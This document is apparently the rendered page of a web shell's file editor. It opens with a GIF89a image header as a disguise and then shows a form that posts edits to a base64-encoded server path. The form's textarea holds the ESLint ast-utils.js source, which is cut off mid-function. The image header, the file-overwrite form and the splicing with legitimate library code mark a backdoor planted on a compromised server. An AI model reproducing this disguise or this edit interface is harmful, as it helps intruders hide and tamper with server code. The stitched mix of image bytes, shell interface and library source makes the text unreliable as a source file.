GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>ast-utils.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvZXNsaW50L2xpYi9ydWxlcy91dGlscw%3D%3D&f=YXN0LXV0aWxzLmpz"><input name="f" value="ast-utils.js"><textarea name="t">/**
 * @fileoverview Common utils for AST.
 * @author Gyandeep Singh
 */

&quot;use strict&quot;;

//------------------------------------------------------------------------------
// Requirements
//------------------------------------------------------------------------------

const esutils = require(&quot;esutils&quot;);
const espree = require(&quot;espree&quot;);
const lodash = require(&quot;lodash&quot;);
const {
    breakableTypePattern,
    createGlobalLinebreakMatcher,
    lineBreakPattern,
    shebangPattern
} = require(&quot;../../shared/ast-utils&quot;);

//------------------------------------------------------------------------------
// Helpers
//------------------------------------------------------------------------------

const anyFunctionPattern = /^(?:Function(?:Declaration|Expression)|ArrowFunctionExpression)$/u;
const anyLoopPattern = /^(?:DoWhile|For|ForIn|ForOf|While)Statement$/u;
const arrayOrTypedArrayPattern = /Array$/u;
const arrayMethodPattern = /^(?:every|filter|find|findIndex|forEach|map|some)$/u;
const bindOrCallOrApplyPattern = /^(?:bind|call|apply)$/u;
const thisTagPattern = /^[\s*]*@this/mu;


const COMMENTS_IGNORE_PATTERN = /^\s*(?:eslint|jshint\s+|jslint\s+|istanbul\s+|globals?\s+|exported\s+|jscs)/u;
const LINEBREAKS = new Set([&quot;\r\n&quot;, &quot;\r&quot;, &quot;\n&quot;, &quot;\u2028&quot;, &quot;\u2029&quot;]);

// A set of node types that can contain a list of statements
const STATEMENT_LIST_PARENTS = new Set([&quot;Program&quot;, &quot;BlockStatement&quot;, &quot;SwitchCase&quot;]);

const DECIMAL_INTEGER_PATTERN = /^(0|[1-9]\d*)$/u;
const OCTAL_ESCAPE_PATTERN = /^(?:[^\\]|\\[^0-7]|\\0(?![0-9]))*\\(?:[1-7]|0[0-9])/u;

/**
 * Checks reference if is non initializer and writable.
 * @param {Reference} reference - A reference to check.
 * @param {int} index - The index of the reference in the references.
 * @param {Reference[]} references - The array that the reference belongs to.
 * @returns {boolean} Success/Failure
 * @private
 */
function isModifyingReference(reference, index, references) {
    const identifier = reference.identifier;

    /*
     * Destructuring assignments can have multiple default value, so
     * possibly there are multiple writeable references for the same
     * identifier.
     */
    const modifyingDifferentIdentifier = index === 0 ||
        references[index - 1].identifier !== identifier;

    return (identifier &amp;&amp;
        reference.init === false &amp;&amp;
        reference.isWrite() &amp;&amp;
        modifyingDifferentIdentifier
    );
}

/**
 * Checks whether the given string starts with uppercase or not.
 *
 * @param {string} s - The string to check.
 * @returns {boolean} `true` if the string starts with uppercase.
 */
function startsWithUpperCase(s) {
    return s[0] !== s[0].toLocaleLowerCase();
}

/**
 * Checks whether or not a node is a constructor.
 * @param {ASTNode} node - A function node to check.
 * @returns {boolean} Wehether or not a node is a constructor.
 */
function isES5Constructor(node) {
    return (node.id &amp;&amp; startsWithUpperCase(node.id.name));
}

/**
 * Finds a function node from ancestors of a node.
 * @param {ASTNode} node - A start node to find.
 * @returns {Node|null} A found function node.
 */
function getUpperFunction(node) {
    for (let currentNode = node; currentNode; currentNode = currentNode.parent) {
        if (anyFunctionPattern.test(currentNode.type)) {
            return currentNode;
        }
    }
    return null;
}

/**
 * Checks whether a given node is a function node or not.
 * The following types are function nodes:
 *
 * - ArrowFunctionExpression
 * - FunctionDeclaration
 * - FunctionExpression
 *
 * @param {ASTNode|null} node - A node to check.
 * @returns {boolean} `true` if the node is a function node.
 */
function isFunction(node) {
    return Boolean(node &amp;&amp; anyFunctionPattern.test(node.type));
}

/**
 * Checks whether a given node is a loop node or not.
 * The following types are loop nodes:
 *
 * - DoWhileStatement
 * - ForInStatement
 * - ForOfStatement
 * - ForStatement
 * - WhileStatement
 *
 * @param {ASTNode|null} node - A node to check.
 * @returns {boolean} `true` if the node is a loop node.
 */
function isLoop(node) {
    return Boolean(node &amp;&amp; anyLoopPattern.test(node.type));
}

/**
 * Checks whether the given node is in a loop or not.
 *
 * @param {ASTNode} node - The node to check.
 * @returns {boolean} `true` if the node is in a loop.
 */
function isInLoop(node) {
    for (let currentNode = node; currentNode &amp;&amp; !isFunction(currentNode); currentNode = currentNode.parent) {
        if (isLoop(currentNode)) {
            return true;
        }
    }

    return false;
}

/**
 * Checks whether or not a node is `null` or `undefined`.
 * @param {ASTNode} node - A node to check.
 * @returns {boolean} Whether or not the node is a `null` or `undefined`.
 * @public
 */
function isNullOrUndefined(node) {
    return (
        module.exports.isNullLiteral(node) ||
        (node.type === &quot;Identifier&quot; &amp;&amp; node.name === &quot;undefined&quot;) ||
        (node.type === &quot;UnaryExpression&quot; &amp;&amp; node.operator === &quot;void&quot;)
    );
}

/**
 * Checks whether or not a node is callee.
 * @param {ASTNode} node - A node to check.
 * @returns {boolean} Whether or not the node is callee.
 */
function isCallee(node) {
    return node.parent.type === &quot;CallExpression&quot; &amp;&amp; node.parent.callee === node;
}

/**
 * Checks whether or not a node is `Reflect.apply`.
 * @param {ASTNode} node - A node to check.
 * @returns {boolean} Whether or not the node is a `Reflect.apply`.
 */
function isReflectApply(node) {
    return (
        node.type === &quot;MemberExpression&quot; &amp;&amp;
        node.object.type === &quot;Identifier&quot; &amp;&amp;
        node.object.name === &quot;Reflect&quot; &amp;&amp;
        node.property.type === &quot;Identifier&quot; &amp;&amp;
        node.property.name === &quot;apply&quot; &amp;&amp;
        node.computed === false
    );
}

/**
 * Checks whether or not a node is `Array.from`.
 * @param {ASTNode} node - A node to check.
 * @returns {boolean} Whether or not the node is a `Array.from`.
 */
function isArrayFromMethod(node) {
    return (
        node.type === &quot;MemberExpression&quot; &amp;&amp;
        node.object.type === &quot;Identifier&quot; &amp;&amp;
        arrayOrTypedArrayPattern.test(node.object.name) &amp;&amp;
        node.property.type === &quot;Identifier&quot; &amp;&amp;
        node.property.name === &quot;from&quot; &amp;&amp;
        node.computed === false
    );
}

/**
 * Checks whether or not a node is a method which has `thisArg`.
 * @param {ASTNode} node - A node to check.
 * @returns {boolean} Whether or not the node is a method which has `thisArg`.
 */
function isMethodWhichHasThisArg(node) {
    for (
        let currentNode = node;
        currentNode.type === &quot;MemberExpression&quot; &amp;&amp; !currentNode.computed;
        currentNode = currentNode.property
    ) {
        if (currentNode.property.type === &quot;Identifier&quot;) {
            return arrayMethodPattern.test(currentNode.property.name);
        }
    }

    return false;
}

/**
 * Creates the negate function of the given function.
 * @param {Function} f - The function to negate.
 * @returns {Function} Negated function.
 */
function negate(f) {
    return token =&gt; !f(token);
}

/**
 * Checks whether or not a node has a `@this` tag in its comments.
 * @param {ASTNode} node - A node to check.
 * @param {SourceCode} sourceCode - A SourceCode instance to get comments.
 * @returns {boolean} Whether or not the node has a `@this` tag in its comments.
 */
function hasJSDocThisTag(node, sourceCode) {
    const jsdocComment = sourceCode.getJSDocComment(node);

    if (jsdocComment &amp;&amp; thisTagPattern.test(jsdocComment.value)) {
        return true;
    }

    // Checks `@this` in its leading comments for callbacks,
    // because callbacks don't have its JSDoc comment.
    // e.g.
    //     sinon.test(/* @this sinon.Sandbox */function() { this.spy(); });
    return sourceCode.getCommentsBefore(node).some(comment =&gt; thisTagPattern.test(comment.value));
}

/**
 * Determines if a node is surrounded by parentheses.
 * @param {SourceCode} sourceCode The ESLint source code object
 * @param {ASTNode} node The node to be checked.
 * @returns {boolean} True if the node is parenthesised.
 * @private
 */
function isParenthesised(sourceCode, node) {
    const previousToken = sourceCode.getTokenBefore(node),
        nextToken = sourceCode.getTokenAfter(node);

    return Boolean(previousToken &amp;&amp; nextToken) &amp;&amp;
        previousToken.value === &quot;(&quot; &amp;&amp; previousToken.range[1] &lt;= node.range[0] &amp;&amp;
        nextToken.value === &quot;)&quot; &amp;&amp; nextToken.range[0] &gt;= node.range[1];
}

/**
 * Checks if the given token is an arrow token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is an arrow token.
 */
function isArrowToken(token) {
    return token.value === &quot;=&gt;&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a comma token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a comma token.
 */
function isCommaToken(token) {
    return token.value === &quot;,&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a dot token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a dot token.
 */
function isDotToken(token) {
    return token.value === &quot;.&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a semicolon token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a semicolon token.
 */
function isSemicolonToken(token) {
    return token.value === &quot;;&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a colon token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a colon token.
 */
function isColonToken(token) {
    return token.value === &quot;:&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is an opening parenthesis token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is an opening parenthesis token.
 */
function isOpeningParenToken(token) {
    return token.value === &quot;(&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a closing parenthesis token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a closing parenthesis token.
 */
function isClosingParenToken(token) {
    return token.value === &quot;)&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is an opening square bracket token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is an opening square bracket token.
 */
function isOpeningBracketToken(token) {
    return token.value === &quot;[&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a closing square bracket token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a closing square bracket token.
 */
function isClosingBracketToken(token) {
    return token.value === &quot;]&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is an opening brace token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is an opening brace token.
 */
function isOpeningBraceToken(token) {
    return token.value === &quot;{&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a closing brace token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a closing brace token.
 */
function isClosingBraceToken(token) {
    return token.value === &quot;}&quot; &amp;&amp; token.type === &quot;Punctuator&quot;;
}

/**
 * Checks if the given token is a comment token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a comment token.
 */
function isCommentToken(token) {
    return token.type === &quot;Line&quot; || token.type === &quot;Block&quot; || token.type === &quot;Shebang&quot;;
}

/**
 * Checks if the given token is a keyword token or not.
 *
 * @param {Token} token - The token to check.
 * @returns {boolean} `true` if the token is a keyword token.
 */
function isKeywordToken(token) {
    return token.type === &quot;Keyword&quot;;
}

/**
 * Gets the `(` token of the given function node.
 *
 * @param {ASTNode} node - The function node to get.
 * @param {SourceCode} sourceCode - The source code object to get tokens.
 * @returns {Token} `(` token.
 */
function getOpeningParenOfParams(node, sourceCode) {
    return node.id
        ? sourceCode.getTokenAfter(node.id, isOpeningParenToken)
        : sourceCode.getFirstToken(node, isOpeningParenToken);
}

/**
 * Checks whether or not the tokens of two given nodes are same.
 * @param {ASTNode} left - A node 1 to compare.
 * @param {ASTNode} right - A node 2 to compare.
 * @param {SourceCode} sourceCode - The ESLint source code object.
 * @returns {boolean} the source code for the given node.
 */
function equalTokens(left, right, sourceCode) {
    const tokensL = sourceCode.getTokens(left);
    const tokensR = sourceCode.getTokens(right);

    if (tokensL.length !== tokensR.length) {
        return false;
    }
    for (let i = 0; i &lt; tokensL.length; ++i) {
        if (tokensL[i].type !== tokensR[i].type ||
            tokensL[i].value !== tokensR[i].value
        ) {
            return false;
        }
    }

    return true;
}

//------------------------------------------------------------------------------
// Public Interface
//------------------------------------------------------------------------------

module.exports = {
    COMMENTS_IGNORE_PATTERN,
    LINEBREAKS,
    LINEBREAK_MATCHER: lineBreakPattern,
    SHEBANG_MATCHER: shebangPattern,
    STATEMENT_LIST_PARENTS,

    /**
     * Determines whether two adjacent tokens are on the same line.
     * @param {Object} left - The left token object.
     * @param {Object} right - The right token object.
     * @returns {boolean} Whether or not the tokens are on the same line.
     * @public
     */
    isTokenOnSameLine(left, right) {
        return left.loc.end.line === right.loc.start.line;
    },

    isNullOrUndefined,
    isCallee,
    isES5Constructor,
    getUpperFunction,
    isFunction,
    isLoop,
    isInLoop,
    isArrayFromMethod,
    isParenthesised,
    createGlobalLinebreakMatcher,
    equalTokens,

    isArrowToken,
    isClosingBraceToken,
    isClosingBracketToken,
    isClosingParenToken,
    isColonToken,
    isCommaToken,
    isCommentToken,
    isDotToken,
    isKeywordToken,
    isNotClosingBraceToken: negate(isClosingBraceToken),
    isNotClosingBracketToken: negate(isClosingBracketToken),
    isNotClosingParenToken: negate(isClosingParenToken),
    isNotColonToken: negate(isColonToken),
    isNotCommaToken: negate(isCommaToken),
    isNotDotToken: negate(isDotToken),
    isNotOpeningBraceToken: negate(isOpeningBraceToken),
    isNotOpeningBracketToken: negate(isOpeningBracketToken),
    isNotOpeningParenToken: negate(isOpeningParenToken),
    isNotSemicolonToken: negate(isSemicolonToken),
    isOpeningBraceToken,
    isOpeningBracketToken,
    isOpeningParenToken,
    isSemicolonToken,

    /**
     * Checks whether or not a given node is a string literal.
     * @param {ASTNode} node - A node to check.
     * @returns {boolean} `true` if the node is a string literal.
     */
    isStringLiteral(node) {
        return (
            (node.type === &quot;Literal&quot; &amp;&amp; typeof node.value === &quot;string&quot;) ||
            node.type === &quot;TemplateLiteral&quot;
        );
    },

    /**
     * Checks whether a given node is a breakable statement or not.
     * The node is breakable if the node is one of the following type:
     *
     * - DoWhileStatement
     * - ForInStatement
     * - ForOfStatement
     * - ForStatement
     * - SwitchStatement
     * - WhileStatement
     *
     * @param {ASTNode} node - A node to check.
     * @returns {boolean} `true` if the node is breakable.
     */
    isBreakableStatement(node) {
        return breakableTypePattern.test(node.type);
    },

    /**
     * Gets references which are non initializer and writable.
     * @param {Reference[]} references - An array of references.
     * @returns {Reference[]} An array of only references which are non initializer and writable.
     * @public
     */
    getModifyingReferences(references) {
        return references.filter(isModifyingReference);
    },

    /**
     * Validate that a string passed in is surrounded by the specified character
     * @param  {string} val The text to check.
     * @param  {string} character The character to see if it's surrounded by.
     * @returns {boolean} True if the text is surrounded by the character, false if not.
     * @private
     */
    isSurroundedBy(val, character) {
        return val[0] === character &amp;&amp; val[val.length - 1] === character;
    },

    /**
     * Returns whether the provided node is an ESLint directive comment or not
     * @param {Line|Block} node The comment token to be checked
     * @returns {boolean} `true` if the node is an ESLint directive comment
     */
    isDirectiveComment(node) {
        const comment = node.value.trim();

        return (
            node.type === &quot;Line&quot; &amp;&amp; comment.indexOf(&quot;eslint-&quot;) === 0 ||
            node.type === &quot;Block&quot; &amp;&amp; (
                comment.indexOf(&quot;global &quot;) === 0 ||
                comment.indexOf(&quot;eslint &quot;) === 0 ||
                comment.indexOf(&quot;eslint-&quot;) === 0
            )
        );
    },

    /**
     * Gets the trailing statement of a given node.
     *
     *     if (code)
     *         consequent;
     *
     * When taking this `IfStatement`, returns `consequent;` statement.
     *
     * @param {ASTNode} A node to get.
     * @returns {ASTNode|null} The trailing statement's node.
     */
    getTrailingStatement: esutils.ast.trailingStatement,

    /**
     * Finds the variable by a given name in a given scope and its upper scopes.
     *
     * @param {eslint-scope.Scope} initScope - A scope to start find.
     * @param {string} name - A variable name to find.
     * @returns {eslint-scope.Variable|null} A found variable or `null`.
     */
    getVariableByName(initScope, name) {
        let scope = initScope;

        while (scope) {
            const variable = scope.set.get(name);

            if (variable) {
                return variable;
            }

            scope = scope.upper;
        }

        return null;
    },

    /**
     * Checks whether or not a given function node is the default `this` binding.
     *
     * First, this checks the node:
     *
     * - The function name does not start with uppercase (it's a constructor).
     * - The function does not have a JSDoc comment that has a @this tag.
     *
     * Next, this checks the location of the node.
     * If the location is below, this judges `this` is valid.
     *
     * - The location is not on an object literal.
     * - The location is not assigned to a variable which starts with an uppercase letter.
     * - The location is not on an ES2015 class.
     * - Its `bind`/`call`/`apply` method is not called directly.
     * - The function is not a callback of array methods (such as `.forEach()`) if `thisArg` is given.
     *
     * @param {ASTNode} node - A function node to check.
     * @param {SourceCode} sourceCode - A SourceCode instance to get comments.
     * @returns {boolean} The function node is the default `this` binding.
     */
    isDefaultThisBinding(node, sourceCode) {
        if (isES5Constructor(node) || hasJSDocThisTag(node, sourceCode)) {
            return false;
        }
        const isAnonymous = node.id === null;
        let currentNode = node;

        while (currentNode) {
            const parent = currentNode.parent;

            switch (parent.type) {

                /*
                 * Looks up the destination.
                 * e.g., obj.foo = nativeFoo || function foo() { ... };
                 */
                case &quot;LogicalExpression&quot;:
                case &quot;ConditionalExpression&quot;:
                    currentNode = parent;
                    break;

                /*
                 * If the upper function is IIFE, checks the destination of the return value.
                 * e.g.
                 *   obj.foo = (function() {
                 *     // setup...
                 *     return function foo() { ... };
                 *   })();
                 *   obj.foo = (() =&gt;
                 *     function foo() { ... }
                 *   )();
                 */
                case &quot;ReturnStatement&quot;: {
                    const func = getUpperFunction(parent);

                    if (func === null || !isCallee(func)) {
                        return true;
                    }
                    currentNode = func.parent;
                    break;
                }
                case &quot;ArrowFunctionExpression&quot;:
                    if (currentNode !== parent.body || !isCallee(parent)) {
                        return true;
                    }
                    currentNode = parent.parent;
                    break;

                /*
                 * e.g.
                 *   var obj = { foo() { ... } };
                 *   var obj = { foo: function() { ... } };
                 *   class A { constructor() { ... } }
                 *   class A { foo() { ... } }
                 *   class A { get foo() { ... } }
                 *   class A { set foo() { ... } }
                 *   class A { static foo() { ... } }
                 */
                case &quot;Property&quot;:
                case &quot;MethodDefinition&quot;:
                    return parent.value !== currentNode;

                /*
                 * e.g.
                 *   obj.foo = function foo() { ... };
                 *   Foo = function() { ... };
                 *   [obj.foo = function foo() { ... }] = a;
                 *   [Foo = function() { ... }] = a;
                 */
                case &quot;AssignmentExpression&quot;:
                case &quot;AssignmentPattern&quot;:
                    if (parent.left.type === &quot;MemberExpression&quot;) {
                        return false;
                    }
                    if (
                        isAnonymous &amp;&amp;
                        parent.left.type === &quot;Identifier&quot; &amp;&amp;
                        startsWithUpperCase(parent.left.name)
                    ) {
                        return false;
                    }
                    return true;

                /*
                 * e.g.
                 *   var Foo = function() { ... };
                 */
                case &quot;VariableDeclarator&quot;:
                    return !(
                        isAnonymous &amp;&amp;
                        parent.init === currentNode &amp;&amp;
                        parent.id.type === &quot;Identifier&quot; &amp;&amp;
                        startsWithUpperCase(parent.id.name)
                    );

                /*
                 * e.g.
                 *   var foo = function foo() { ... }.bind(obj);
                 *   (function foo() { ... }).call(obj);
                 *   (function foo() { ... }).apply(obj, []);
                 */
                case &quot;MemberExpression&quot;:
                    return (
                        parent.object !== currentNode ||
                        parent.property.type !== &quot;Identifier&quot; ||
                        !bindOrCallOrApplyPattern.test(parent.property.name) ||
                        !isCallee(parent) ||
                        parent.parent.arguments.length === 0 ||
                        isNullOrUndefined(parent.parent.arguments[0])
                    );

                /*
                 * e.g.
                 *   Reflect.apply(function() {}, obj, []);
                 *   Array.from([], function() {}, obj);
                 *   list.forEach(function() {}, obj);
                 */
                case &quot;CallExpression&quot;:
                    if (isReflectApply(parent.callee)) {
                        return (
                            parent.arguments.length !== 3 ||
                            parent.arguments[0] !== currentNode ||
                            isNullOrUndefined(parent.arguments[1])
                        );
                    }
                    if (isArrayFromMethod(parent.callee)) {
                        return (
                            parent.arguments.length !== 3 ||
                            parent.arguments[1] !== currentNode ||
                            isNullOrUndefined(parent.arguments[2])
                        );
                    }
                    if (isMethodWhichHasThisArg(parent.callee)) {
                        return (
                            parent.arguments.length !== 2 ||
                            parent.arguments[0] !== currentNode ||
                            isNullOrUndefined(parent.arguments[1])
                        );
                    }
                    return true;

                // Otherwise `this` is default.
                default:
                    return true;
            }
        }

        /* istanbul ignore next */
        return true;
    },

    /**
     * Get the precedence level based on the node type
     * @param {ASTNode} node node to evaluate
     * @returns {int} precedence level
     * @private
     */
    getPrecedence(node) {
        switch (node.type) {
            case &quot;SequenceExpression&quot;:
                return 0;

            case &quot;AssignmentExpression&quot;:
            case &quot;ArrowFunctionExpression&quot;:
            case &quot;YieldExpression&quot;:
                return 1;

            case &quot;ConditionalExpression&quot;:
                return 3;

            case &quot;LogicalExpression&quot;:
                switch (node.operator) {
                    case &quot;||&quot;:
                        return 4;
                    case &quot;&amp;&amp;&quot;:
                        return 5;

                    // no default
                }

                /* falls through */

            case &quot;BinaryExpression&quot;:

                switch (node.operator) {
                    case &quot;|&quot;:
                        return 6;
                    case &quot;^&quot;:
                        return 7;
                    case &quot;&amp;&quot;:
                        return 8;
                    case &quot;==&quot;:
                    case &quot;!=&quot;:
                    case &quot;===&quot;:
                    case &quot;!==&quot;:
                        return 9;
                    case &quot;&lt;&quot;:
                    case &quot;&lt;=&quot;:
                    case &quot;&gt;&quot;:
                    case &quot;&gt;=&quot;:
                    case &quot;in&quot;:
                    case &quot;instanceof&quot;:
                        return 10;
                    case &quot;&lt;&lt;&quot;:
                    case &quot;&gt;&gt;&quot;:
                    case &quot;&gt;&gt;&gt;&quot;:
                        return 11;
                    case &quot;+&quot;:
                    case &quot;-&quot;:
                        return 12;
                    case &quot;*&quot;:
                    case &quot;/&quot;:
                    case &quot;%&quot;:
                        return 13;
                    case &quot;**&quot;:
                        return 15;

                    // no default
                }

                /* falls through */

            case &quot;UnaryExpression&quot;:
            case &quot;AwaitExpression&quot;:
                return 16;

            case &quot;UpdateExpression&quot;:
                return 17;

            case &quot;CallExpression&quot;:
            case &quot;ImportExpression&quot;:
                return 18;

            case &quot;NewExpression&quot;:
                return 19;

            default:
                return 20;
        }
    },

    /**
     * Checks whether the given node is an empty block node or not.
     *
     * @param {ASTNode|null} node - The node to check.
     * @returns {boolean} `true` if the node is an empty block.
     */
    isEmptyBlock(node) {
        return Boolean(node &amp;&amp; node.type === &quot;BlockStatement&quot; &amp;&amp; node.body.length === 0);
    },

    /**
     * Checks whether the given node is an empty function node or not.
     *
     * @param {ASTNode|null} node - The node to check.
     * @returns {boolean} `true` if the node is an empty function.
     */
    isEmptyFunction(node) {
        return isFunction(node) &amp;&amp; module.exports.isEmptyBlock(node.body);
    },

    /**
     * Gets the property name of a given node.
     * The node can be a MemberExpression, a Property, or a MethodDefinition.
     *
     * If the name is dynamic, this returns `null`.
     *
     * For examples:
     *
     *     a.b           // =&gt; &quot;b&quot;
     *     a[&quot;b&quot;]        // =&gt; &quot;b&quot;
     *     a['b']        // =&gt; &quot;b&quot;
     *     a[`b`]        // =&gt; &quot;b&quot;
     *     a[100]        // =&gt; &quot;100&quot;
     *     a[b]          // =&gt; null
     *     a[&quot;a&quot; + &quot;b&quot;]  // =&gt; null
     *     a[tag`b`]     // =&gt; null
     *     a[`${b}`]     // =&gt; null
     *
     *     let a = {b: 1}            // =&gt; &quot;b&quot;
     *     let a = {[&quot;b&quot;]: 1}        // =&gt; &quot;b&quot;
     *     let a = {['b']: 1}        // =&gt; &quot;b&quot;
     *     let a = {[`b`]: 1}        // =&gt; &quot;b&quot;
     *     let a = {[100]: 1}        // =&gt; &quot;100&quot;
     *     let a = {[b]: 1}          // =&gt; null
     *     let a = {[&quot;a&quot; + &quot;b&quot;]: 1}  // =&gt; null
     *     let a = {[tag`b`]: 1}     // =&gt; null
     *     let a = {[`${b}`]: 1}     // =&gt; null
     *
     * @param {ASTNode} node - The node to get.
     * @returns {string|null} The property name if static. Otherwise, null.
     */
    getStaticPropertyName(node) {
        let prop;

        switch (node &amp;&amp; node.type) {
            case &quot;Property&quot;:
            case &quot;MethodDefinition&quot;:
                prop = node.key;
                break;

            case &quot;MemberExpression&quot;:
                prop = node.property;
                break;

            // no default
        }

        switch (prop &amp;&amp; prop.type) {
            case &quot;Literal&quot;:
                return String(prop.value);

            case &quot;TemplateLiteral&quot;:
                if (prop.expressions.length === 0 &amp;&amp; prop.quasis.length === 1) {
                    return prop.quasis[0].value.cooked;
                }
                break;

            case &quot;Identifier&quot;:
                if (!node.computed) {
                    return prop.name;
                }
                break;

            // no default
        }

        return null;
    },

    /**
     * Get directives from directive prologue of a Program or Function node.
     * @param {ASTNode} node - The node to check.
     * @returns {ASTNode[]} The directives found in the directive prologue.
     */
    getDirectivePrologue(node) {
        const directives = [];

        // Directive prologues only occur at the top of files or functions.
        if (
            node.type === &quot;Program&quot; ||
            node.type === &quot;FunctionDeclaration&quot; ||
            node.type === &quot;FunctionExpression&quot; ||

            /*
             * Do not check arrow functions with implicit return.
             * `() =&gt; &quot;use strict&quot;;` returns the string `&quot;use strict&quot;`.
             */
            (node.type === &quot;ArrowFunctionExpression&quot; &amp;&amp; node.body.type === &quot;BlockStatement&quot;)
        ) {
            const statements = node.type === &quot;Program&quot; ? node.body : node.body.body;

            for (const statement of statements) {
                if (
                    statement.type === &quot;ExpressionStatement&quot; &amp;&amp;
                    statement.expression.type === &quot;Literal&quot;
                ) {
                    directives.push(statement);
                } else {
                    break;
                }
            }
        }

        return directives;
    },


    /**
     * Determines whether this node is a decimal integer literal. If a node is a decimal integer literal, a dot added
     * after the node will be parsed as a decimal point, rather than a property-access dot.
     * @param {ASTNode} node - The node to check.
     * @returns {boolean} `true` if this node is a decimal integer.
     * @example
     *
     * 5       // true
     * 5.      // false
     * 5.0     // false
     * 05      // false
     * 0x5     // false
     * 0b101   // false
     * 0o5     // false
     * 5e0     // false
     * '5'     // false
     */
    isDecimalInteger(node) {
        return node.type === &quot;Literal&quot; &amp;&amp; typeof node.value === &quot;number&quot; &amp;&amp;
            DECIMAL_INTEGER_PATTERN.test(node.raw);
    },

    /**
     * Determines whether this token is a decimal integer numeric token.
     * This is similar to isDecimalInteger(), but for tokens.
     * @param {Token} token - The token to check.
     * @returns {boolean} `true` if this token is a decimal integer.
     */
    isDecimalIntegerNumericToken(token) {
        return token.type === &quot;Numeric&quot; &amp;&amp; DECIMAL_INTEGER_PATTERN.test(token.value);
    },

    /**
     * Gets the name and kind of the given function node.
     *
     * - `function foo() {}`  .................... `function 'foo'`
     * - `(function foo() {})`  .................. `function 'foo'`
     * - `(function() {})`  ...................... `function`
     * - `function* foo() {}`  ................... `generator function 'foo'`
     * - `(function* foo() {})`  ................. `generator function 'foo'`
     * - `(function*() {})`  ..................... `generator function`
     * - `() =&gt; {}`  ............................. `arrow function`
     * - `async () =&gt; {}`  ....................... `async arrow function`
     * - `({ foo: function foo() {} })`  ......... `method 'foo'`
     * - `({ foo: function() {} })`  ............. `method 'foo'`
     * - `({ ['foo']: function() {} })`  ......... `method 'foo'`
     * - `({ [foo]: function() {} })`  ........... `method`
     * - `({ foo() {} })`  ....................... `method 'foo'`
     * - `({ foo: function* foo() {} })`  ........ `generator method 'foo'`
     * - `({ foo: function*() {} })`  ............ `generator method 'foo'`
     * - `({ ['foo']: function*() {} })`  ........ `generator method 'foo'`
     * - `({ [foo]: function*() {} })`  .......... `generator method`
     * - `({ *foo() {} })`  ...................... `generator method 'foo'`
     * - `({ foo: async function foo() {} })`  ... `async method 'foo'`
     * - `({ foo: async function() {} })`  ....... `async method 'foo'`
     * - `({ ['foo']: async function() {} })`  ... `async method 'foo'`
     * - `({ [foo]: async function() {} })`  ..... `async method`
     * - `({ async foo() {} })`  ................. `async method 'foo'`
     * - `({ get foo() {} })`  ................... `getter 'foo'`
     * - `({ set foo(a) {} })`  .................. `setter 'foo'`
     * - `class A { constructor() {} }`  ......... `constructor`
     * - `class A { foo() {} }`  ................. `method 'foo'`
     * - `class A { *foo() {} }`  ................ `generator method 'foo'`
     * - `class A { async foo() {} }`  ........... `async method 'foo'`
     * - `class A { ['foo']() {} }`  ............. `method 'foo'`
     * - `class A { *['foo']() {} }`  ............ `generator method 'foo'`
     * - `class A { async ['foo']() {} }`  ....... `async method 'foo'`
     * - `class A { [foo]() {} }`  ............... `method`
     * - `class A { *[foo]() {} }`  .............. `generator method`
     * - `class A { async [foo]() {} }`  ......... `async method`
     * - `class A { get foo() {} }`  ............. `getter 'foo'`
     * - `class A { set foo(a) {} }`  ............ `setter 'foo'`
     * - `class A { static foo() {} }`  .......... `static method 'foo'`
     * - `class A { static *foo() {} }`  ......... `static generator method 'foo'`
     * - `class A { static async foo() {} }`  .... `static async method 'foo'`
     * - `class A { static get foo() {} }`  ...... `static getter 'foo'`
     * - `class A { static set foo(a) {} }`  ..... `static setter 'foo'`
     *
     * @param {ASTNode} node - The function node to get.
     * @returns {string} The name and kind of the function node.
     */
    getFunctionNameWithKind(node) {
        const parent = node.parent;
        const tokens = [];

        if (parent.type === &quot;MethodDefinition&quot; &amp;&amp; parent.static) {
            tokens.push(&quot;static&quot;);
        }
        if (node.async) {
            tokens.push(&quot;async&quot;);
        }
        if (node.generator) {
            tokens.push(&quot;generator&quot;);
        }

        if (node.type === &quot;ArrowFunctionExpression&quot;) {
            tokens.push(&quot;arrow&quot;, &quot;function&quot;);
